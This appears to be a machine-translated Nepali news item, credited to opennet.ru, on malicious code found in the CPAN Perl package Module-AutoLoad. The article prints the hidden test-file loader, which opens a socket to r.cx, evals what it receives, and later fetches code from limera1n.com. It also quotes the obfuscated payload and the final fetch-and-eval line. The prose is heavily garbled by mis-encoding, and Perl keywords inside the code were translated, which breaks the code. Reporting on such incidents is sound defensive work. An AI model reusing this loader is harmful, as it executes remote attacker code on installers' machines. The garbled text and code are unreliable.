Module-AutoLoad Perl рдкреНрдпрд╛рдХреЗрдЬрдорд╛ рдЦрд░рд╛рдм рдХреЛрдб рдкрддреНрддрд╛ рд▓рд╛рдЧреНрдпреЛ

CPAN рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдорд╛рд░реНрдлрдд рд╡рд┐рддрд░рдг рдЧрд░рд┐рдПрдХреЛ рдкрд░реНрд▓ рдкреНрдпрд╛рдХреЗрдЬрдорд╛ рдореЛрдбреНрдпреБрд▓ - рд╕реНрд╡рдд: рд▓реЛрдб, рдЙрдбрд╛рдирдорд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдкрдорд╛ CPAN рдореЛрдбреНрдпреБрд▓рд╣рд░реВ рд▓реЛрдб рдЧрд░реНрди рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ, рдкрд╣рд┐рдЪрд╛рди рдЧрд░рд┐рдпреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдбред рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рдореНрдорд┐рд▓рд┐рдд рдерд┐рдпреЛ рднреЗрдЯрд┐рдпреЛ рдкрд░реАрдХреНрд╖рдг рдХреЛрдб рдорд╛ 05_rcx.t, рдЬреБрди реирежрезрез рджреЗрдЦрд┐ рдвреБрд╡рд╛рдиреА рднрдЗрд░рд╣реЗрдХреЛ рдЫред
рдпреЛ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЫ рдХрд┐ рд╕рдВрджрд┐рдЧреНрдз рдХреЛрдб рд▓реЛрдб рдЧрд░реНрдиреЗ рдмрд╛рд░реЗ рдкреНрд░рд╢реНрди рдЙрдареНрдпреЛ рдереБрдкреНрд░реЛ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ 2016 рдорд╛ рдлрд┐рд░реНрддрд╛ред

рдореЛрдбреНрдпреБрд▓ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрджрд╛ рд╕реБрд░реБ рдЧрд░рд┐рдПрдХреЛ рдкрд░реАрдХреНрд╖рдг рд╕реБрдЗрдЯрдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рдХреНрд░рдордорд╛ рддреЗрд╕реНрд░реЛ-рдкрдХреНрд╖ рд╕рд░реНрднрд░ (http://r.cx:1/) рдмрд╛рдЯ рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиреЗ рдкреНрд░рдпрд╛рд╕рдорд╛ рдЦрд░рд╛рдм рдЧрддрд┐рд╡рд┐рдзрд┐ рдЙрдмрд▓рд┐рдиреНрдЫред рдпреЛ рдорд╛рдирд┐рдиреНрдЫ рдХрд┐ рдмрд╛рд╣реНрдп рд╕рд░реНрднрд░рдмрд╛рдЯ рд╕реБрд░реБрдорд╛ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░рд┐рдПрдХреЛ рдХреЛрдб рдЦрд░рд╛рдм рдерд┐рдПрди, рддрд░ рдЕрдм рдЕрдиреБрд░реЛрдз ww.limera1n.com рдбреЛрдореЗрдирдорд╛ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫ, рдЬрд╕рд▓реЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рд▓рд╛рдЧрд┐ рдХреЛрдбрдХреЛ рдпрд╕рдХреЛ рдЕрдВрд╢ рдкреНрд░рджрд╛рди рдЧрд░реНрджрдЫред

рдлрд╛рдЗрд▓рдорд╛ рдбрд╛рдЙрдирд▓реЛрдб рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдЧрд░реНрди 05_rcx.t рдирд┐рдореНрди рдХреЛрдб рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫ:

рдореЗрд░реЛ $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
рдореЗрд░реЛ $try = `$^X $prog`;

рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреЛрдбрд▓реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд▓рд╛рдИ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░рд╛рдЙрдиреЗ рдХрд╛рд░рдг рдмрдирд╛рдЙрдБрдЫ ../contrib/RCX.pl, рдЬрд╕рдХреЛ рд╕рд╛рдордЧреНрд░реА рд▓рд╛рдИ рд░реЗрдЦрд╛рдорд╛ рдШрдЯрд╛рдЗрдПрдХреЛ рдЫ:

рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрд╣реЛрд╕реН lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1тА│};

рдпреЛ рд▓рд┐рдкрд┐ рд▓реЛрдб рд╣реБрдиреНрдЫ рднреНрд░рдорд┐рдд рд╕реЗрд╡рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджреИ perlobfuscator.com рдмрд╛рд╣реНрдп рд╣реЛрд╕реНрдЯ r.cx рдмрд╛рдЯ рдХреЛрдб (рдХреНрдпрд╛рд░реЗрдХреНрдЯрд░ рдХреЛрдбрд╣рд░реВ 82.46.99.88 рдкрд╛рда "R.cX" рд╕рдБрдЧ рдореЗрд▓ рдЦрд╛рдиреНрдЫ) рд░ рдпрд╕рд▓рд╛рдИ eval рдмреНрд▓рдХрдорд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрджрдЫред

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1тА│; рдЫрд╛рдкреНрдиреБрд╣реЛрд╕реН <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DEтАж.}

рдЕрдирдкреНрдпрд╛рдХ рдЧрд░реЗрдкрдЫрд┐, рдирд┐рдореНрдирд▓рд╛рдИ рдЕрдиреНрддрддрдГ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░рд┐рдиреНрдЫ: рдХреЛрдб:

рдЫрд╛рдкреНрдиреБрд╣реЛрд╕реН{$b=new IO::Socket::INET"ww.limera1n.com:80тА│}"GET /iJailBreak
"; evalor рдлрд░реНрдХрд╛рдЙрдиреЗ рдЪреЗрддрд╛рд╡рдиреА$@ рдЬрдмрдХрд┐ $b; 1

рд╕рдорд╕реНрдпрд╛рдЧреНрд░рд╕реНрдд рдкреНрдпрд╛рдХреЗрдЬ рдЕрдм рднрдгреНрдбрд╛рд░рдмрд╛рдЯ рд╣рдЯрд╛рдЗрдПрдХреЛ рдЫред рд░реЛрдХреНрдиреБрд╣реЛрд╕реН (Perl Authors Upload Server), рд░ рдореЛрдбреНрдпреБрд▓ рд▓реЗрдЦрдХрдХреЛ рдЦрд╛рддрд╛ рдмреНрд▓рдХ рдЧрд░рд┐рдПрдХреЛ рдЫред рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рдореЛрдбреНрдпреБрд▓ рдЕрдЭреИ рдмрд╛рдБрдХреА рдЫ рдЙрдкрд▓рдмреНрдз рдЫ MetaCPAN рдЕрднрд┐рд▓реЗрдЦрдорд╛ рд░ cpanminus рдЬрд╕реНрддрд╛ рдХреЗрд╣реА рдЙрдкрдпреЛрдЧрд┐рддрд╛рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ MetaCPAN рдмрд╛рдЯ рд╕реАрдзреИ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рдпреЛ рдЙрд▓реНрд▓реЗрдЦ рдЫрдкреНрдпрд╛рдХреЗрдЬ рд╡реНрдпрд╛рдкрдХ рд░реВрдкрдорд╛ рд╡рд┐рддрд░рдг рдЧрд░рд┐рдПрдХреЛ рдЫреИрдиред

рдЫрд▓рдлрд▓ рдЧрд░реНрди рд░реЛрдЪрдХ рдЬреЛрдбрд┐рдПрдХреЛ рд░ рдореЛрдбреНрдпреБрд▓рдХрд╛ рд▓реЗрдЦрдХ, рдЬрд╕рд▓реЗ рдЙрд╕рдХреЛ рд╕рд╛рдЗрдЯ "r.cx" рд╣реНрдпрд╛рдХ рдЧрд░рд┐рд╕рдХреЗрдкрдЫрд┐ рдорд╛рд▓рд┐рд╕рд┐рдпрд╕ рдХреЛрдб рдШреБрд╕рд╛рдЗрдпреЛ рднрдиреНрдиреЗ рдЬрд╛рдирдХрд╛рд░реАрд▓рд╛рдИ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдЧрд░реНрдпреЛ рд░ рдЙрд╕рд▓реЗ рднрд░реНрдЦрд░ рд░рдорд╛рдЗрд▓реЛ рдЧрд░рд┐рд░рд╣реЗрдХреЛ рдмрддрд╛рдПрдХреЛ рдерд┐рдпреЛ, рд░ perlobfuscator.com рд▓рд╛рдИ рдХреЗрд╣рд┐ рд▓реБрдХрд╛рдЙрди рд╣реЛрдЗрди, рддрд░ рд╕рд╛рдЗрдЬ рдШрдЯрд╛рдЙрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНтАНрдпреЛред рдХреЛрдбрдХреЛ рд░ рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдорд╛рд░реНрдлрдд рдпрд╕рдХреЛ рдкреНрд░рддрд┐рд▓рд┐рдкрд┐рд▓рд╛рдИ рд╕рд░рд▓ рдмрдирд╛рдЙрдБрджреИред рдкреНрд░рдХрд╛рд░реНрдп рдирд╛рдо "рдмреЛрдЯрд╕реНрдЯреНрд░реНрдпрд╛рдк" рдХреЛ рдЫрдиреЛрдЯ рдпреЛ рд╢рдмреНрдж "рдмреЛрдЯ рдЬрд╕реНрддреЛ рд╕реБрдирд┐рдиреНрдЫ рд░ рдмреБрдЯрд╕реНрдЯреНрд░реНрдпрд╛рдк рднрдиреНрджрд╛ рдЫреЛрдЯреЛ рдЫ" рднрдиреНрдиреЗ рддрдереНрдпрджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдЧрд░рд┐рдПрдХреЛ рдЫред рдореЛрдбреНрдпреБрд▓рдХрд╛ рд▓реЗрдЦрдХрд▓реЗ рдпреЛ рдкрдирд┐ рдЖрд╢реНрд╡рд╛рд╕рди рджрд┐рдП рдХрд┐ рдкрд╣рд┐рдЪрд╛рди рдЧрд░рд┐рдПрдХрд╛ рд╣реЗрд░рдлреЗрд░рд╣рд░реВрд▓реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░реНрджреИрдирдиреН, рддрд░ рдХреЗрд╡рд▓ TCP рдорд╛рд░реНрдлрдд рдХреЛрдбрдХреЛ рд▓реЛрдбрд┐рдЩ рд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрджрдЫред

рд╕реНрд░реЛрдд: opennet.ru

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди